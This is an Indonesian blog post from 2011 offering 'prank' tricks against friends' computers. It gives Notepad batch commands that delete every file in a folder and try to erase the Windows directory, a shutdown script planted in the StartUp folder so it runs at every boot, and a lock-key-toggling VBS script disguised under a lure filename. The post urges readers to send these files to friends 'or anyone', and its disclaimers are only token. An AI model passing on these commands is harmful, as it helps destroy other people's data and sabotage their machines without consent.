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Sabtu, 19 Februari 2011

Cara-cara ngerjain temen yang lagi make komputer..

nah balik lagi sama gue di artikel yang "iseng" walau gk penting nih artikel tapi seru lah buat ngerjain komputer temen.
Just for fun... 


simple but hang.
buka microsoft word, dan ketik:

kata ajaibnya adalah

=rand (200,99)






lalu tekan ENTER !!
hasilnya microsoft word akan membuat:



dan HASILNYA..






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sampai dengan halaman 235.

cocok buat ngerjain orang yang komputernya lambat, pasti hang





wkwkwkwkw....




kalo yang satu ini pake NotePad..


oh iya jangan disalahgunakan ya..
okeh.. and jangan salain gue...
wkwkwkw...
Notepad adalah senjata Ampuh
gunakan notepad sebagai senjata kalian untuk ngerjain orang lain.

Menghapus Files dan Folder
1. buka notepad trus ketik DEL /F /Q *
2. save as dan simpan dengan nama test.cmd
3. kalau elo dobel klik file test.cmd maka semua files dan folder akan terhapus.

Menghapus Files Tertentu
1. buka notepad trus ketik erase C:TEST.txt
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka files TEST.txt di drive c:\ akan terhapus

 Menghapus Folder Tertentu
1. buka notepad trus ketik erase C:WINDOWS
2. save as dan simpan dengan nama test.cmd
3. kalo elo dobel klik file test.cmd maka folder WINDOWS di drive c:\ akan terhapus
nah kalo sudah jadi, tinggal kalian kirim aja ke temen kalian, ato siapapun. simpel tapi “merugikan”
Tambahan :
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”

loop
1. copy paste code di notepad
2. save as asiaporn.vbs – save as sebagai “All Files” bukan text
3. klik 2 kali terus tinggal aja PCnya
Sekali Lagi
Ingat !
Jangan di SalahGunakan
(www.indowebster.web.id) Forum
atau
Buka Notepad dan ketikkan 1 baris script berikut.


Shutdown.exe –s –f –t 5 –c “Aku adalah hantu cyber yang akan menghancurkan komputer mu.”


Selesai. Save dengan nama terserah namun beri ekstensi .bat pada textbox FileName. Misalnya dhena.bat. Coba jalankan dhena.bat


nya dan lihat hasilnya…. Huakakakakak!! Hati-hati.. Dalam 5 detik komputer teman Anda akan segera off. Hmmm, letakkan dhena.bat tersebut di direktori StartUp User supaya dia bekerja setiap komputer dinyalakan.


nah sekian dulu...
lumayan buat ngisengin orang or temen kan tuh...
hhe..

1 komentar:

  1. ryo liburan maen ke rmh gw yak bwt permak blog gw nih wkwkwkwkwk

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